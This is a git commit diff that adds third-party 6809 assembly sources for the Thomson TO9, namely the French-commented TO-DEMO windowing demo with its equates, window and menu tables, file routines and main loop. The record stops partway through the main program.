Add that collection of 3rdparty source I had lying on my disk for some time...


git-svn-id: svn://localhost/thomson@51 85ae3b6b-dc8f-4344-a89d-598714f2e4e5
diff --git a/code/3rdparty/README b/code/3rdparty/README
new file mode 100644
index 0000000..87921bf
--- /dev/null
+++ b/code/3rdparty/README
@@ -0,0 +1,9 @@
+These are sources for various Thomson stuff. I'm not sure who gathered them
+together, they were originally in 6809 language module format (non-ASCII source
+files). Tomix helped convert them to a more useful ASCII version.
+
+I tried to make some sense of what's in there and create some relevant
+subdirectories. I'm not sure how much of this can be compiled into something
+useable, but some of the sources can show useful tricks, anyway.
+
+Enjoy!
diff --git a/code/3rdparty/sources1-hmel/DEMO-B1.ASM b/code/3rdparty/sources1-hmel/DEMO-B1.ASM
new file mode 100644
index 0000000..be615a3
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/DEMO-B1.ASM
@@ -0,0 +1,88 @@
+       TITLE  TO-DEMO:S/PBANK1
+*      ---------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*          S/P bank 1                  *
+*                                      *
+****************************************
+
+
+*=======================================
+* Auto-copie $1800..$3FFF vers $7800
+* (S/P fenêtrage)
+*=======================================
+FENRAM EQU    *
+*---------------------------------------
+       LDX    #$1800
+       LDY    #$7800
+BCPIF1 LDD    ,X++
+       STD    ,Y++
+       CMPX   #$4000
+       BNE    BCPIF1    ->
+       RTS
+
+
+*=======================================
+* S/P ecriture sur fichier
+*
+* Entrée: A  car. à ecrire
+* Sortie: CY 0 si ok
+*            1 si erreur (fichier sera
+*                         fermé et détr.
+*=======================================
+
+ECRFIC PSHS   B
+       LEAS   -1,S
+ERRMEM SET    0
+*---------------------------------------
+       LDB    #PRINT
+       JSR    EXTRA
+       TSTB
+       BNE    ECFIR     erreur ->
+       ANDCC  #$FE
+       LEAS   2,S
+       PULS   B,PC      ->>
+
+ECFIR  STB    ERRMEM,S
+
+       LDB    #CLOSE    # erreur PRINT
+       JSR    EXTRA
+       LDB    #KILL     détruire
+       JSR    EXTRA
+
+       LDB    ERRMEM,S
+       JSR    DOSERR
+       ORCC   #$1
+       LEAS   1,S
+       PULS   B,PC      ->>
+
+
+*=======================================
+* S/P lecture sur le fichier courant
+*
+* Sortie: A  car. lu si ok
+*         CY 0 si ok
+*            1 si pb -> erreur traitée
+*                       fichier fermé
+*=======================================
+
+LECFIC PSHS   B
+*---------------------------------------
+       LDB    #INPUT
+       JSR    EXTRA
+       TSTB
+       BNE    LEFIFR    erreur ->
+       LDB    #54       'input past end'
+       TST    EOFFLG    si eof !
+       BNE    LEFIFR    ->
+       LDA    CARCOU
+       ANDCC  #$FE
+       PULS   B,PC      ->>
+
+LEFIFR JSR    DOSERR
+       LDB    #CLOSE
+       JSR    EXTRA
+       ORCC   #1
+       PULS   B,PC      ->>
diff --git a/code/3rdparty/sources1-hmel/DEMO-CN.ASM b/code/3rdparty/sources1-hmel/DEMO-CN.ASM
new file mode 100644
index 0000000..4adbec7
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/DEMO-CN.ASM
@@ -0,0 +1,452 @@
+       TITLE  TO-GRAPH: constantes
+*      ------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           constantes                 *
+*                                      *
+****************************************
+
+****************************************
+*           F E N E T R E S            *
+****************************************
+
+* Fenêtre vide (pour activer une boucle
+* d'attente par FEN (avec déplacement
+* tortue de pointage sans zone optique
+* active !)
+*---------------------------------------
+
+FENVID FCB    FSTOP
+
+* Fenêtre principale
+*---------------------------------------
+
+FENPRI FCB    FLOCA,20,2,0,0
+       FCB    FEDI
+       FCC    \Ceciestl'\
+       FCB    SS2,AIGU
+       FCC    \ecrandefonddelad\
+       FCB    SS2,AIGU
+       FCC    \emo\
+       FCB    RC,LF
+       FCC    \Danscelui-ciiln'ya\
+       FCC    \pasdezoneopti--que\
+       FCC    \active !!!\
+       FCB    0
+       FCB    FSTOP
+
+* Fenêtre de démonstration
+*---------------------------------------
+
+FENINF FCB    FLOCF,0,0,16,23
+       FCB    FCOULF,VERTCL
+       FCB    FTRAME,FTOURI
+       FCB    FLOCF,1,1,1,21
+       FCB    FCOULF,BLANC
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOULF,TRANSP
+       FCB    FEDI,$1B,$4E
+       FCC    \INFO\
+       FCB    $1B,$4C,0
+
+       FCB    FLOCF,3,1,10,21
+       FCB    FFOND,FTOURE,FCADRE
+
+       FCB    FLOCF,4,1,1,21
+       FCB    FEDI
+       FCC    \TourPaletteBVR\
+       FCB    0
+
+* la définition du carreau ci-dessous
+* sert à disposer d'une méthode simple
+* (FENCH+FENFOND) pour changer le
+* contenu de ce carreaux sans en connai-
+* -tre la position ! De ce fait, le
+* poussoir associé restera toujours
+* INTERD !
+
+       FCB    FLOCF,6,2,4,2
+       FCB    FCOULF,PARME
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOULF,TRANSP
+       FCB    FPOUSS,'X,INTERD
+
+       FCB    FLOCF,6,5,2,1
+       FCB    FTOURE
+       FCB    FTEXTE,'+,'-,0
+       FCB    FLOCR,0,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,'T,OFF
+       FCB    FLOCR,1,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,'U,OFF
+
+       FCB    FLOCF,9,5,1,2
+       FCB    FTOURE,FCADRE
+       FCB    FPOUSS,'Y,INTERD
+
+       FCB    FLOCF,6,9,4,2
+       FCB    FCOULF,ORANGE
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOULF,TRANSP
+
+       FCB    FLOCF,6,12,2,1
+       FCB    FTOURE
+       FCB    FTEXTE,'+,'-,0
+       FCB    FLOCR,0,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,'P,OFF
+       FCB    FLOCR,1,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,'Q,OFF
+
+       FCB    FLOCF,9,12,1,2
+       FCB    FTOURE,FCADRE
+       FCB    FPOUSS,'Z,INTERD
+
+       FCB    FLOCF,6,16,2,1
+       FCB    FTOURE
+       FCB    FTEXTE,'+,'-,0
+       FCB    FLOCR,0,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,'B,OFF
+       FCB    FLOCR,1,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,'C,OFF
+
+       FCB    FLOCF,6,18,2,1
+       FCB    FTOURE
+       FCB    FTEXTE,'+,'-,0
+       FCB    FLOCR,0,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,'V,OFF
+       FCB    FLOCR,1,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,'W,OFF
+
+       FCB    FLOCF,6,20,2,1
+       FCB    FTOURE
+       FCB    FTEXTE,'+,'-,0
+       FCB    FLOCR,0,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,'R,OFF
+       FCB    FLOCR,1,0,1,1
+       FCB    FTOURI
+       FCB    FPOUSS,'S,OFF
+
+       FCB    FLOCF,9,16,1,5
+       FCB    FTOURE,FCADRE
+       FCB    FEDI
+       FCC    \--\
+       FCB    0
+       FCB    FPOUSS,'H,INTERD
+
+       FCB    FLOCF,11,2,1,4
+       FCB    FEDI
+       FCC    \Mode\
+       FCB    0
+       FCB    FLOCR,0,5,1,14
+       FCB    FTOURE,FCADRE
+       FCB    FPOUSS,'M,OFF
+
+       FCB    FLOCF,14,1,1,21
+       FCB    FFOND,FTOURE,FCADRE
+
+       FCB    FTEXTE
+       FCC    \Ok\
+       FCB    BALISE
+       FCC    \Annuler\
+       FCB    BALISE,0
+       FCB    FLOCR,0,5,1,1
+       FCB    FPOUSS,RC,OFF
+       FCB    FLOCR,0,13,1,1
+       FCB    FPOUSS,FF,OFF
+       FCB    FSTOP
+
+* Fenêtre de démonstration 1
+*---------------------------------------
+
+FENDEM FCB    FLOCF,0,0,21,25
+       FCB    FCOULF,VERTCL
+       FCB    FTRAME,FTOURI
+       FCB    FCOULF,TRANSP
+       FCB    FCOMF,FF,OFF
+
+       FCB    FLOCF,1,1,9,23
+       FCB    FFOND,FTOURE,FCADRE
+
+       FCB    FLOCF,2,2,1,23
+       FCB    FEDI
+       FCC    \SaisieTexte\
+       FCB    0
+       FCB    FLOCR,0,13,1,8
+       FCB    FTOURE,FCADRE
+*      champ de saisie en texte
+*      le code 130 servira à lire le
+*      texte saisie
+       FCB    FCZI,130,TEXTE
+
+       FCB    FLOCF,4,2,1,23
+       FCB    FEDI
+       FCC    \SaisieHexa\
+       FCB    0
+       FCB    FLOCR,0,17,1,4
+       FCB    FTOURE,FCADRE
+*      champ de saisie en hexa
+*      le code 131 servira à lire le
+*      texte saisie
+       FCB    FCZI,131,HEXA
+
+       FCB    FLOCF,6,2,1,23
+       FCB    FEDI
+       FCC    \SaisieD\
+       FCB    SS2,AIGU
+       FCC    \ecimale\
+       FCB    0
+       FCB    FLOCR,0,17,1,4
+       FCB    FTOURE,FCADRE
+*      champ de saisie en décimal
+*      le code 132 servira à lire le
+*      texte saisie
+       FCB    FCZI,132,DECIM
+
+       FCB    FLOCF,8,2,1,23
+       FCB    FEDI
+       FCC    \Inverseur\
+       FCB    0
+       FCB    FLOCR,0,17,1,1
+       FCB    FTEXTE,BALISE,0
+*      Inverseur
+*      le code 133 servira à mani-
+*      puler l'inverseur au clavier et
+*      à en lire la valeur !!!
+       FCB    FINV,133,OFF
+
+       FCB    FLOCF,11,1,9,23
+       FCB    FFOND,FTOURE,FCADRE
+
+       FCB    FLOCF,12,2,1,23
+       FCB    FEDI
+       FCC    \LireTexte\
+       FCB    0
+       FCB    FLOCR,0,11,1,1
+       FCB    FTEXTE,BALISE,0
+       FCB    FPOUSS,134,OFF
+
+       FCB    FLOCF,14,2,1,23
+       FCB    FEDI
+       FCC    \LireHexa\
+       FCB    0
+       FCB    FLOCR,0,11,1,1
+       FCB    FTEXTE,BALISE,0
+       FCB    FPOUSS,135,OFF
+
+       FCB    FLOCF,16,2,1,23
+       FCB    FEDI
+       FCC    \LireD\
+       FCB    SS2,AIGU
+       FCC    \ecim\
+       FCB    0
+       FCB    FLOCR,0,11,1,1
+       FCB    FTEXTE,BALISE,0
+       FCB    FPOUSS,136,OFF
+
+       FCB    FLOCF,18,2,1,23
+       FCB    FEDI
+       FCC    \LireInv.\
+       FCB    0
+       FCB    FLOCR,0,11,1,1
+       FCB    FTEXTE,BALISE,0
+       FCB    FPOUSS,137,OFF
+
+*      champ pour visu des lectures
+*      le code 140 servira à positionner
+*      les éditions sans en connaitre
+*      la position
+       FCB    FLOCF,15,15,1,8
+       FCB    FTOURE,FCADRE
+       FCB    FPOUSS,140,INTERD
+
+       FCB    FSTOP
+
+* Menu déroulant
+*---------------------------------------
+
+FENMEN FCB    FLOCF,0,0,11,18
+       FCB    FCOULF,BLEUCI
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOMF,FF,OFF
+       FCB    FLOCF,1,9,1,10
+       FCB    FEDI
+       FCC    \bank\
+       FCB    0
+       FCB    FLOCF,1,14,1,2
+       FCB    FCOULF,BLANC
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOULF,TRANSP
+       FCB    FLOCF,3,1,1,16
+       FCB    FPOUSS,'D,OFF
+       FCB    FEDI
+       FCC    \DEMONSTRATION\
+       FCB    0
+       FCB    FLOCR,2,0,1,16
+       FCB    FPOUSS,'G,OFF
+       FCB    FEDI
+       FCC    \GRILLE\
+       FCB    0
+       FCB    FLOCR,2,0,1,16
+       FCB    FPOUSS,'F,OFF
+       FCB    FEDI
+       FCC    \FICHIERS\
+       FCB    0
+       FCB    FLOCR,2,0,1,16
+       FCB    FPOUSS,'Q,OFF
+       FCB    FEDI
+       FCC    \QUITTER\
+       FCB    0
+       FCB    FSTOP
+
+* Fenêtre titre
+*---------------------------------------
+
+FENTIT FCB    FLOCF,0,0,6,19    titre
+       FCB    FCOULF,ORANGE
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FLOCR,1,2,20,20
+       FCB    FEDI
+       FCC    \TO-DEMO\
+       FCB    0
+       FCB    FLOCR,2,4,20,20
+       FCB    FEDI
+       FCC    \HMEL-92V1.0\
+       FCB    0
+       FCB    FSTOP
+
+* Fenêtre gestion fichier
+*---------------------------------------
+
+FENFIC FCB    FLOCF,0,0,19,20
+       FCB    FCOULF,BLEUCI
+       FCB    FTOURE,FCADRE,FFOND
+       FCB    FCOMF,FF,ON
+       FCB    FLOCF,1,1,1,14
+       FCB    FPOUSS,'P,OFF
+       FCB    FEDI
+       FCC    \Pr\
+       FCB    SS2,$42
+       FCC    \eciserunit\
+       FCB    SS2,$42,$65
+       FCB    0
+       FCB    FLOCR,2,0,1,14
+       FCB    FPOUSS,'I,OFF
+       FCB    FEDI
+       FCC    \Initialiser\
+       FCB    0
+       FCB    FLOCR,2,0,1,18
+       FCB    FPOUSS,'C,OFF
+       FCB    FEDI
+       FCC    \Catalogue\
+       FCB    0
+       FCB    FLOCR,2,0,1,18
+       FCB    FPOUSS,'R,OFF
+       FCB    FEDI
+       FCC    \Renommerfichier\
+       FCB    0
+       FCB    FLOCR,2,0,1,18
+       FCB    FPOUSS,'S,OFF
+       FCB    FEDI
+       FCC    \Supprimerfichier\
+       FCB    0
+       FCB    FLOCR,2,0,1,18
+       FCB    FPOUSS,'D,OFF
+       FCB    FEDI
+       FCC    \Dupliquerfichier\
+       FCB    0
+       FCB    FLOCR,3,0,1,18
+       FCB    FPOUSS,'L,OFF
+       FCB    FEDI
+       FCC    \Lire\
+       FCB    SS2,$42
+       FCC    \ecran\
+       FCB    0
+       FCB    FLOCR,2,0,1,18
+       FCB    FPOUSS,'E,OFF
+       FCB    FEDI
+       FCC    \Ecrire\
+       FCB    SS2,$42
+       FCC    \ecran\
+       FCB    0
+       FCB    FCOULF,BLANC
+       FCB    FLOCF,1,16,2,3
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FSTOP
+
+*      Mémorisation palette à l'appel
+*---------------------------------------
+
+TFMEMO FCB    $FF
+TMEMO  FDB    $FFFF,$FFFF,$FFFF,$FFFF
+       FDB    $FFFF,$FFFF,$FFFF,$FFFF
+       FDB    $FFFF,$FFFF,$FFFF,$FFFF
+       FDB    $FFFF,$FFFF,$FFFF,$FFFF
+
+*      Palette standard
+*---------------------------------------
+
+PALDEF FDB    0000,0015,0240,0255
+       FDB    3840,3855,4080,4095
+       FDB    1911,0826,0931,0938
+       FDB    2611,2618,3815,0123
+
+*      Mnémo des modes graphiques
+*  octet 1 : mode hard ($FF = fin !)
+*  octet 2 : mode basic
+*  15 oct  : mnémo sur 14 car.
+*---------------------------------------
+
+TMNGR  FCB    $00,0
+       FCC    \TO7-70\
+       FCB    0
+       FCB    $80,1
+       FCC    \80colonnes   \
+       FCB    0
+       FCB    $40,3
+       FCC    \Bitmap 16     \
+       FCB    0
+       FCB    $20,11
+       FCC    \Tripleoverlay\
+       FCB    0
+       FCB    $08,7
+       FCC    \Doubleoverlay\
+       FCB    0
+       FCB    $04,5
+       FCC    \Page2\
+       FCB    0
+       FCB    $02,4
+       FCC    \Page1\
+       FCB    0
+       FCB    $01,2
+       FCC    \Bitmap 4      \
+       FCB    0
+       FCB    $FF
+
+****************************************
+*  M E S S A G E S                     *
+****************************************
+
+MLIRE  FCB    ESC,$4E
+       FCC    \LIRE\
+       FCB    ESC,$4C,0
+MOUT   FCC    \MEMOIREinsuffisante\
+       FCB    0
+MVFICH FCB    ESC,$4E,HT,SS2,$2E
+       FCC    \FICHIER\
+       FCB    ESC,$4C,0
+MCOMAL FCC    \To-demo\
+       FCB    0
+MON    FCC    \ON\
+       FCB    0
+MOFF   FCC    \OFF\
+       FCB    0
diff --git a/code/3rdparty/sources1-hmel/DEMO-EQ.ASM b/code/3rdparty/sources1-hmel/DEMO-EQ.ASM
new file mode 100644
index 0000000..aeba092
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/DEMO-EQ.ASM
@@ -0,0 +1,240 @@
+       TITLE  TO-PHOTO: Equates
+*      ------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           TO-PHOTO                   *
+*                                      *
+*    Equates                           *
+*                                      *
+****************************************
+
+
+* Definition des points d'entree dans
+* le moniteur TO9
+*-------------------------------------
+
+STATUS EQU    $6019   état machine
+RANG   EQU    $601B   rangee courante
+COLN   EQU    $6020   colonne courante
+IRQPT  EQU    $6021   vecteur IRQ
+FIRQPT EQU    $6023   vecteur FIRQ
+TIMEPT EQU    $6027   vecteur IT timer
+RSOPC  EQU    $602B
+USERAF EQU    $602D   pt car. user
+SWIPT  EQU    $602F   vecteur SWI1
+FORME  EQU    $6038
+ATRANG EQU    $6039   attrib. courants
+ATRSCR EQU    $603A   ...     écran
+COLOUR EQU    $603B   couleur cour.
+TELETL EQU    $603C   mode page
+CHDRAW EQU    $6041   tracé point ou car
+BAUDS  EQU    $6044
+NOMBRE EQU    $6046
+MAXBK  EQU    $6047   dernier bank libre
+DKOPC  EQU    $6048   code op. DKCO
+DKDRV  EQU    $6049   drive courant
+DKNUM  EQU    $604D   entrelacement
+SAVCOL EQU    $605C
+REACLV EQU    $605E   pt buf clav
+SCRMOD EQU    $605F   mode écran
+WRICLV EQU    $6067   pt buf clav
+BUFCLV EQU    $6079   pt buffer clavier
+SIZCLV EQU    $607B   lg buffer clavier
+RUNFLG EQU    $607F   flag démarr. auto
+IDSAUT EQU    $6082   buffer clav. std.
+RESETP EQU    $6088   init. periph.
+PTGENE EQU    $60CF   géné. car.
+TSTRST EQU    $60FE   flag démarrage
+
+VALTYP EQU    $6105   calculs
+FACMO  EQU    $6150
+FACLO  EQU    $6151
+ARGMO  EQU    $615B
+ARGLO  EQU    $615C
+DEBZON EQU    $616B
+FINZON EQU    $616E
+EOFFLG EQU    $6178
+NAMSEC EQU    $618E
+NAMSLT EQU    $618F
+CARCOU EQU    $6196
+SECBUF EQU    $6197
+FATPTR EQU    $6199
+COULGR EQU    $619F   couleur graphique
+TRATYP EQU    $61A0   type tracé
+XXXXXX EQU    $61A1   curseur graphique
+YYYYYY EQU    $61A3   .
+XL     EQU    $61A5   marges graphiques
+YB     EQU    $61A7
+XR     EQU    $61A9
+YT     EQU    $61AB
+X0COD  EQU    $61D6
+Y0COD  EQU    $61D7
+X1COD  EQU    $61D8
+Y1COD  EQU    $61D9
+PASSCD EQU    $61DB
+LSTBYT EQU    $61DC
+FILFLG EQU    $61EF   flag remplissage
+AXEH   EQU    $61F1   rayons ellipses
+AXEV   EQU    $61F0
+CAMFLG EQU    $61F2
+
+PUTFLG EQU    $6249   mode cod/decod ima
+FILMOD EQU    $624B
+FILTYP EQU    $624C
+ASCFLG EQU    $624D
+FILNAM EQU    $624F   nom fichier
+OPTBUF EQU    $625A
+MACP   EQU    $627D   pt motif rempliss.
+WITH   EQU    $6288   type tracé
+
+
+DRA    EQU    $E7CC     registres 6821
+DDRA   EQU    $E7CC
+CRA    EQU    $E7CE     manettes et son
+
+BANKC  EQU    $E7E5   gate commut bank
+
+SIOTRN EQU    $E7E8   reg. TD/RD ACIA
+SIOSTA EQU    $E7E9   reg. état   ...
+SIOCMD EQU    $E7EA   reg. comm   ...
+
+PUTC   EQU    $E803   edition ecran
+INITC  EQU    $E800   init ecran
+GETC   EQU    $E806   lecture clavier
+KTST   EQU    $E809   test clavier
+DRAW   EQU    $E80C   ecriture trait
+PLOT   EQU    $E80F   ecriture point
+RSCO   EQU    $E812   e/s
+GETL   EQU    $E818   lect souris
+LPIN   EQU    $E81B   lect touche souris
+GETP   EQU    $E821   lect point graphi.
+GETS   EQU    $E824   lect écran
+DKCO   EQU    $E82A   accès disquette
+MENU   EQU    $E82D   retour TO9
+KBIN   EQU    $E830   clig. curs. IT
+SETP   EQU    $EC00   definition couleur
+COMS   EQU    $EC03   appel sur ROM
+EXTRA  EQU    $EC0C   extra. moniteur
+RESETC EQU    0       .
+RESETW EQU    1       .
+FCBINI EQU    2       .
+OPEN   EQU    3       .
+PRINT  EQU    4       .
+INPUT  EQU    5       .
+CLOSE  EQU    6       .
+DIR0   EQU    8       .
+KILL   EQU    14      .
+ERRMSG EQU    20      .
+CIRCLE EQU    24      .
+PSETXY EQU    25      .
+LINE   EQU    26      .
+BOX    EQU    27      .
+CHOIX  EQU    28      .
+PAINT  EQU    29      .
+MIG    EQU    30      .
+SHOW   EQU    33      .
+MOVE   EQU    38      .
+INITOR EQU    39      .
+CMPTOR EQU    40      .
+SGN    EQU    41      .
+SQR    EQU    44      .
+FRCTYP EQU    50      .
+SUBGO  EQU    55      .
+MULTGO EQU    56      .
+DIVGO  EQU    57      .
+MOVFM  EQU    62      .
+MOVMF  EQU    63      .
+MOVAF  EQU    64      .
+EXTFIN EQU    65      .
+CODE   EQU    69      .
+
+SQI    EQU    $10     accès fichier
+SQO    EQU    $20
+
+
+* Equates MIG
+*---------------------------------------
+
+STOP   EQU    0
+ABS    EQU    5
+REL    EQU    6
+LFCUR  EQU    7
+FCUR   EQU    8
+BOITE  EQU    14
+ROND   EQU    17
+
+* Equates caractères
+*---------------------------------------
+
+SOH    EQU    $01
+EOT    EQU    $04
+ACK    EQU    $06
+BS     EQU    $08     codes ASCII ctrl
+HT     EQU    $09
+LF     EQU    $0A
+VT     EQU    $0B
+FF     EQU    $0C
+RC     EQU    $0D
+NACK   EQU    $15
+SS2    EQU    $16
+CAN    EQU    $18
+ESC    EQU    $1B
+INS    EQU    $1C
+EFF    EQU    $1D
+RS     EQU    $1E
+US     EQU    $1F
+SP     EQU    $20
+GRAVE  EQU    $41
+AIGU   EQU    $42
+CIRCON EQU    $43
+DEL    EQU    $7F
+
+
+* Définition des bank RAM utilisées
+*---------------------------------------
+
+BKMANO EQU    2       RAM manoeuvre
+*                     (variable)
+PBKPIL EQU    3       Pile fenêtre
+DBKPIL EQU    6
+PBKPEL EQU    7       pellicule
+
+* Déplacements sur RAM
+*---------------------------------------
+
+       ORG    $6800
+
+PILE   EQU    *-1     pile soft
+
+PAGE0  RMB    256     pour registres
+*                     rapides !!!
+
+ZONFEN RMB    1080    zone fenêtrage
+
+REGCC  RMB    1       pile (/U) des
+REGA   RMB    1       param FEN
+REGB   RMB    1
+REGX   RMB    2
+REGY   RMB    2
+PILFEN EQU    *
+
+PALETE RMB    16*2    palette courante
+TOUR   RMB    1
+MODVID RMB    1
+
+DESCOU RMB    8       fichier courant
+
+* Buffers
+*---------------------------------------
+
+BUF    RMB    128     buffer manoeuvre
+
+* Zone manoeuvre
+* utilise tout le bank RAM
+*---------------------------------------
+
+ZONTRA EQU    $A000
+LGZTRA EQU    $E000-ZONTRA
+FINTRA EQU    $DFFF
diff --git a/code/3rdparty/sources1-hmel/DEMO-PR.ASM b/code/3rdparty/sources1-hmel/DEMO-PR.ASM
new file mode 100644
index 0000000..06e8d9d
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/DEMO-PR.ASM
@@ -0,0 +1,421 @@
+       TITLE  TO-DEMO:  Programme princ.
+*      ---------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           TO-DEMO                    *
+*                                      *
+*    Programme principal               *
+*                                      *
+* - Affichage d'un titre               *
+* - Attente action clavier ou souris   *
+*   pour afficher un menu en POP-UP    *
+* - selon ce menu,                     *
+*     Arret                            *
+*     Menu de gestion fichier          *
+*     Ecran de démonstration de        *
+*       poussoir 'balise'              *
+*       poussoir 'zone'                *
+*       poussoir 'rédéfinissable'      *
+*       inverseur 'balise'             *
+*       inverseur 'zone'               *
+*       champ de saisie numérique      *
+*       champ de saisie hexa décimal   *
+*                                      *
+****************************************
+
+DEBUT  EQU    *
+
+* Initialisations
+*---------------------------------------
+
+* Pile et DP
+       LDS    #PILE
+       LDD    #PAGE0
+       TFR    A,DP
+
+* Copie des S/P fenêtrage vers RAM
+       LDU    #FENRAM
+       JSR    COMBK2
+
+* Vérification RAM disponible
+* Ici on suppose un minimum de 6 bank
+*  - 1 de manoeuvre
+*  - 4 pour l'empilement des fenetres
+*  - 1 pour l'application
+
+       LDA    MAXBK
+       DECA             ->nb bank disp.
+       CMPA   #6
+       BGE    OKRAM     ->
+       LDB    #$1B      'Out of memory'
+       JSR    PUTC
+       LDB    #$5A
+       JSR    PUTC
+       LDB    #FF
+       JSR    PUTC
+       LDX    #MOUT
+BOUT   LDB    ,X+
+       BEQ    BOUT1
+       JSR    PUTC
+       BRA    BOUT      ->
+BOUT1  JSR    GETC
+       TSTB
+       BEQ    BOUT1     ->
+       JMP    MENU      ->>>>>>
+OKRAM  EQU    *
+
+* Init. extra moniteur pour turbo-disq
+       LDB    #RESETC
+       JSR    EXTRA
+
+* Initialisation DOS sur zone réservée
+* (5 disques 2 fichiers)
+       LDD    #$7000
+       STD    SECBUF
+       ADDD   #256
+       STD    FATPTR
+       LDA    #5
+       LDB    #166
+       MUL
+       ADDD   FATPTR
+       TFR    D,X
+       LDY    #5
+       LDA    #2
+       LDB    #FCBINI
+       JSR    EXTRA
+
+       LDX    #DESCOU    fichier courant
+       LDD    #$2020
+BRZDC  STD    ,X++
+       CMPX   #DESCOU+8
+       BNE    BRZDC      ->
+
+* Mémorisation de la palette si non
+* déja fait ! Ceci est un exemple de
+* mémorisation de données dans la pseudo
+* cartouche elle meme !
+       LDA    TFMEMO
+       CMPA   #$FF
+       LBNE   SUIXY0    ->
+
+       CLR    $E7E4
+       LDA    $E7E6     autorise écritur
+       ORA    #$40      cartouche
+       STA    $E7E6
+
+       CLR    TFMEMO
+       LDU    #TMEMO
+       CLRA
+BOULNU LDX    #$FFFF
+       LDY    #0
+       JSR    SETP
+       STX    ,U++
+       INCA
+       CMPA   #16
+       BNE    BOULNU    ->
+
+       LDA    $E7E6     interdit écritur
+       ANDA   #$BF      cartouche
+       STA    $E7E6
+
+SUIXY0 EQU    *
+
+* Bank RAM
+       LDA    #BKMANO
+       STA    BANKC
+
+* Initialisation propre à l'application!
+
+       LDA    #GRIS
+       STA    TOUR
+       CLR    MODVID
+
+       LDB    #32
+       LDX    #PALDEF
+       LDY    #PALETE
+BPALMA LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    BPALMA    ->
+
+       CLRA             palette défaut !
+       COMA
+       LDX    #PALDEF
+       JSR    SETP
+
+* Fenêtrage
+       LDB    #$1B      mode TO7
+       JSR    PUTC
+       LDB    #$5A
+       JSR    PUTC
+
+       LDX    #ZONFEN
+       LDA    #PBKPIL
+       LDB    #DBKPIL
+       TFR    D,U
+       LDA    #NOIR
+       LDB    #GRIS
+       JSR    FENINI
+
+* Activation Fenêtre principale
+* C'est le fond de tout les empilements
+* ultérieurs. Comme c'est le premier
+* il ne faut évidemment pas faire
+* FENOUV  qui sauvegarde avant d'affiche
+*---------------------------------------
+
+       LDX    #FENPRI
+       LDD    #0
+       JSR    FENRPL
+
+* Visualisation du titre
+* pendant un petit moment ...
+*---------------------------------------
+
+       LDX    #FENTIT   Titre
+       LDD    #$0606
+       JSR    FENOUV
+
+       JSR    FENACT
+
+       LDU    #400
+EXEC0  JSR    FEN
+       BCS    EXEC00    ->
+       TSTB
+       BNE    EXEC00    ->
+       LEAU   -1,U
+       CMPU   #0
+       BNE    EXEC0     ->
+
+EXEC00 CLRB
+       JSR    FENFER
+
+* La fenetre que nous activons mainte
+* nant n'est autre que la fenetre
+* principale puisque la fenetre titre a
+* ete refermee !!!
+
+EXEC01 JSR    FENACT
+
+* Attente principale
+* d'une saisie clavier ou souris
+* avec déplacement souris et utilisation
+* du S/P local FENPOP a la place de
+* l'appel direct à FEN pour pouvoir
+* visualiser le menu suivant sous la
+* tortue de pointage !!!
+*---------------------------------------
+
+EXEC1  JSR    FENPOP
+       TSTB
+       BEQ    EXEC2     ->
+       LBRA   MENDEM    ->
+
+EXEC2  LDA    REGCC     #Etat pointage
+       TFR    A,CC
+       BCC    EXEC1     pas clic ->
+       LBRA   MENDEM    ->
+
+
+*---------------------------------------
+*      Demande de menu
+*---------------------------------------
+
+MENDEM EQU    *         demande menu
+
+* Affichage d'un menu déroulant
+* POPUP est utilise pour positionner
+* le menu en fonction de sa taille
+* et de la position souris !
+
+       LDX    #FENMEN   Menu
+       LDD    3,X
+       JSR    POPUP
+       JSR    FENOUV
+
+* Ici on affiche dynamiquement une info
+* sur la fenetre
+
+       CLRA
+       LDB    BANKC
+       LDX    #BUF
+       JSR    BINDCG
+       LDD    #$010E
+       LDY    #$0102
+       JSR    FENLOF
+       JSR    FENEDI
+
+* Ici on active la gestion du menu !
+
+MENU0  JSR    FENACT
+
+* Ici est la boucle d'attente du menu
+
+MENU1  JSR    FENPOP
+MENU2  TSTB
+       BEQ    MENU1     ->
+       CMPB   #'D
+       LBEQ   XDEMO     ->
+       CMPB   #'G
+       LBEQ   XGRIL     ->
+       CMPB   #'F
+       LBEQ   XFICH     ->
+       CMPB   #'Q
+       LBEQ   QUIPHO    ->
+       CMPB   #FF
+       LBNE   MENU1     ->
+
+* Ici on décide de remonter d'un niveau
+* en fermant la fenetre
+* ce qui signifie: en restaurant l'ecran
+* memorise !
+* Dans la foulée, on réactive cette
+* fenetre sans meme avoir a en connaitre
+* le fonctionnement !
+
+       CLRB
+       JSR    FENFER
+       JSR    FENACT
+       LBRA   EXEC1     visu principale>
+
+*   Affichage d'une fenetre de demonstra
+*   tion
+* Nb: le traitement qui exploite cette
+*     fenetre peut organiser un retour
+*     de plusieurs niveau au niveau de
+*     l'affichage...
+*     Le test en sortie de procedure
+*     permet de synchroniser le code
+*     sur la fenetre restauree
+*---------------------------------------
+XDEMO  EQU    *
+       JSR    XXDEMO
+       LBNE   EXEC1     ->
+       LBRA   MENU0     ->
+
+*   Affichage d'une fenetre de demonstra
+*   tion pour une grille de saisie
+*---------------------------------------
+XGRIL  EQU    *
+       JSR    XXGRIL
+       LBRA   MENU0     ->
+
+*   Sélection FICHIER
+*---------------------------------------
